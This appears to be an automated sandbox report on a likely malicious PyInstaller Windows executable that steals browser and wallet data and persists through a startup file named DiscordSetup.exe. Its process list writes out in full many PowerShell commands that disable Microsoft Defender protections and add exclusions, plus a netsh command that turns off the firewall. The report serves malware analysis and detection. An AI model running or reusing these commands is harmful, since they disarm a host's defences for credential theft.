Analysis Overview
SHA256
5016c0cc22b287f5d5e87f0edb0983c1fd3dc186afdb0e65348840dbad164904
Threat Level: Likely malicious
The file PAP46E1UkZ.exe was found to be: Likely malicious.
Malicious Activity Summary
Modifies Windows Firewall
Command and Scripting Interpreter: PowerShell
Unsecured Credentials: Credentials In Files
Drops startup file
Executes dropped EXE
Loads dropped DLL
Reads user/profile data of web browsers
Checks computer location settings
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
Unsigned PE
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
Detects Pyinstaller
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-12 13:00
Signatures
Detects Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-12 13:00
Reported
2024-11-12 13:03
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe | C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ipapi.co | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
| N/A | ipapi.co | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
| N/A | ipapi.co | N/A | N/A |
Detects Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe
"C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe"
C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe
"C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
C:\Windows\System32\Wbem\wmic.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionExtension .exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .tmp"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionExtension .tmp
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -PUAProtection disable"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -PUAProtection disable
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionExtension .exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIOAVProtection $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableIOAVProtection $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisablePrivacyMode $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisablePrivacyMode $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableArchiveScanning $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableArchiveScanning $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableScriptScanning $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableScriptScanning $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -MAPSReporting 0"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -MAPSReporting 0
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ScanScheduleDay 8"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -ScanScheduleDay 8
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command netsh advfirewall set allprofiles state off"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command netsh advfirewall set allprofiles state off
C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe"
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
C:\Windows\System32\Wbem\wmic.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionExtension .exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .tmp"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionExtension .tmp
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -PUAProtection disable"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -PUAProtection disable
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionExtension .exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIOAVProtection $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableIOAVProtection $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisablePrivacyMode $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisablePrivacyMode $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableArchiveScanning $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableArchiveScanning $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableScriptScanning $true"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -DisableScriptScanning $true
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -MAPSReporting 0"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -MAPSReporting 0
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ScanScheduleDay 8"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Set-MpPreference -ScanScheduleDay 8
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -command netsh advfirewall set allprofiles state off"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command netsh advfirewall set allprofiles state off
C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.gofile.io | udp |
| FR | 45.112.123.126:443 | api.gofile.io | tcp |
| US | 8.8.8.8:53 | scan-echo.online | udp |
| FR | 51.91.236.255:443 | scan-echo.online | tcp |
| US | 8.8.8.8:53 | 126.123.112.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 255.236.91.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 172.67.74.152:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | ipapi.co | udp |
| US | 104.26.9.44:443 | ipapi.co | tcp |
| US | 8.8.8.8:53 | discord.com | udp |
| US | 162.159.128.233:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 44.9.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.74.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.128.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | store4.gofile.io | udp |
| FR | 31.14.70.245:443 | store4.gofile.io | tcp |
| FR | 31.14.70.245:443 | store4.gofile.io | tcp |
| US | 8.8.8.8:53 | 245.70.14.31.in-addr.arpa | udp |
| FR | 31.14.70.245:443 | store4.gofile.io | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
| FR | 51.91.236.255:443 | scan-echo.online | tcp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 162.159.128.233:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| FR | 45.112.123.126:443 | api.gofile.io | tcp |
| FR | 51.91.236.255:443 | scan-echo.online | tcp |
| FR | 51.91.236.255:443 | scan-echo.online | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
| N/A | 127.0.0.1:55690 | tcp | |
| N/A | 127.0.0.1:55692 | tcp | |
| US | 8.8.8.8:53 | 73.209.201.84.in-addr.arpa | udp |
| US | 172.67.74.152:443 | api.ipify.org | tcp |
| US | 104.26.9.44:443 | ipapi.co | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
| US | 8.8.8.8:53 | store1.gofile.io | udp |
| FR | 45.112.123.227:443 | store1.gofile.io | tcp |
| US | 8.8.8.8:53 | 227.123.112.45.in-addr.arpa | udp |
| FR | 45.112.123.227:443 | store1.gofile.io | tcp |
| FR | 45.112.123.227:443 | store1.gofile.io | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
| FR | 51.91.236.255:443 | scan-echo.online | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| FR | 51.91.236.255:443 | scan-echo.online | tcp |
| US | 162.159.128.233:443 | discord.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\_MEI50162\python310.dll
| MD5 | 63a1fa9259a35eaeac04174cecb90048 |
| SHA1 | 0dc0c91bcd6f69b80dcdd7e4020365dd7853885a |
| SHA256 | 14b06796f288bc6599e458fb23a944ab0c843e9868058f02a91d4606533505ed |
| SHA512 | 896caa053f48b1e4102e0f41a7d13d932a746eea69a894ae564ef5a84ef50890514deca6496e915aae40a500955220dbc1b1016fe0b8bcdde0ad81b2917dea8b |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\VCRUNTIME140.dll
| MD5 | f34eb034aa4a9735218686590cba2e8b |
| SHA1 | 2bc20acdcb201676b77a66fa7ec6b53fa2644713 |
| SHA256 | 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1 |
| SHA512 | d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\base_library.zip
| MD5 | 01bd4f502a3ced4678e93cbb528debbb |
| SHA1 | 2c23d0d6699c3358875e3c9b3f810096384446cb |
| SHA256 | a69368c96cf351b44b7e709b431ae4691580e241fd2367541d2361f348949af2 |
| SHA512 | 1b9722bc5dfcf4656605d94f37d6d0cb351ce06a59170ac4e3e2a2ad1aae99ca06d7ca45b7572179394b711d24e9fb182c6fa1c3f4ac5d064bae802c64d80564 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_ctypes.pyd
| MD5 | 1635a0c5a72df5ae64072cbb0065aebe |
| SHA1 | c975865208b3369e71e3464bbcc87b65718b2b1f |
| SHA256 | 1ea3dd3df393fa9b27bf6595be4ac859064cd8ef9908a12378a6021bba1cb177 |
| SHA512 | 6e34346ea8a0aacc29ccd480035da66e280830a7f3d220fd2f12d4cfa3e1c03955d58c0b95c2674aea698a36a1b674325d3588483505874c2ce018135320ff99 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\libffi-7.dll
| MD5 | eef7981412be8ea459064d3090f4b3aa |
| SHA1 | c60da4830ce27afc234b3c3014c583f7f0a5a925 |
| SHA256 | f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081 |
| SHA512 | dc9ff4202f74a13ca9949a123dff4c0223da969f49e9348feaf93da4470f7be82cfa1d392566eaaa836d77dde7193fed15a8395509f72a0e9f97c66c0a096016 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_bz2.pyd
| MD5 | 86d1b2a9070cd7d52124126a357ff067 |
| SHA1 | 18e30446fe51ced706f62c3544a8c8fdc08de503 |
| SHA256 | 62173a8fadd4bf4dd71ab89ea718754aa31620244372f0c5bbbae102e641a60e |
| SHA512 | 7db4b7e0c518a02ae901f4b24e3860122acc67e38e73f98f993fe99eb20bb3aa539db1ed40e63d6021861b54f34a5f5a364907ffd7da182adea68bbdd5c2b535 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\python3.dll
| MD5 | fd4a39e7c1f7f07cf635145a2af0dc3a |
| SHA1 | 05292ba14acc978bb195818499a294028ab644bd |
| SHA256 | dc909eb798a23ba8ee9f8e3f307d97755bc0d2dc0cb342cedae81fbbad32a8a9 |
| SHA512 | 37d3218bc767c44e8197555d3fa18d5aad43a536cfe24ac17bf8a3084fb70bd4763ccfd16d2df405538b657f720871e0cd312dfeb7f592f3aac34d9d00d5a643 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_lzma.pyd
| MD5 | 7447efd8d71e8a1929be0fac722b42dc |
| SHA1 | 6080c1b84c2dcbf03dcc2d95306615ff5fce49a6 |
| SHA256 | 60793c8592193cfbd00fd3e5263be4315d650ba4f9e4fda9c45a10642fd998be |
| SHA512 | c6295d45ed6c4f7534c1a38d47ddc55fea8b9f62bbdc0743e4d22e8ad0484984f8ab077b73e683d0a92d11bf6588a1ae395456cfa57da94bb2a6c4a1b07984de |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_uuid.pyd
| MD5 | b68c98113c8e7e83af56ba98ff3ac84a |
| SHA1 | 448938564559570b269e05e745d9c52ecda37154 |
| SHA256 | 990586f2a2ba00d48b59bdd03d3c223b8e9fb7d7fab6d414bac2833eb1241ca2 |
| SHA512 | 33c69199cba8e58e235b96684346e748a17cc7f03fc068cfa8a7ec7b5f9f6fa90d90b5cdb43285abf8b4108e71098d4e87fb0d06b28e2132357964b3eea3a4f8 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_socket.pyd
| MD5 | 819166054fec07efcd1062f13c2147ee |
| SHA1 | 93868ebcd6e013fda9cd96d8065a1d70a66a2a26 |
| SHA256 | e6deb751039cd5424a139708475ce83f9c042d43e650765a716cb4a924b07e4f |
| SHA512 | da3a440c94cb99b8af7d2bc8f8f0631ae9c112bd04badf200edbf7ea0c48d012843b4a9fb9f1e6d3a9674fd3d4eb6f0fa78fd1121fad1f01f3b981028538b666 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\select.pyd
| MD5 | a653f35d05d2f6debc5d34daddd3dfa1 |
| SHA1 | 1a2ceec28ea44388f412420425665c3781af2435 |
| SHA256 | db85f2f94d4994283e1055057372594538ae11020389d966e45607413851d9e9 |
| SHA512 | 5aede99c3be25b1a962261b183ae7a7fb92cb0cb866065dc9cd7bb5ff6f41cc8813d2cc9de54670a27b3ad07a33b833eaa95a5b46dad7763ca97dfa0c1ce54c9 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_queue.pyd
| MD5 | d8c1b81bbc125b6ad1f48a172181336e |
| SHA1 | 3ff1d8dcec04ce16e97e12263b9233fbf982340c |
| SHA256 | 925f05255f4aae0997dc4ec94d900fd15950fd840685d5b8aa755427c7422b14 |
| SHA512 | ccc9f0d3aca66729832f26be12f8e7021834bbee1f4a45da9451b1aa5c2e63126c0031d223af57cf71fad2c85860782a56d78d8339b35720194df139076e0772 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\pyexpat.pyd
| MD5 | 1118c1329f82ce9072d908cbd87e197c |
| SHA1 | c59382178fe695c2c5576dca47c96b6de4bbcffd |
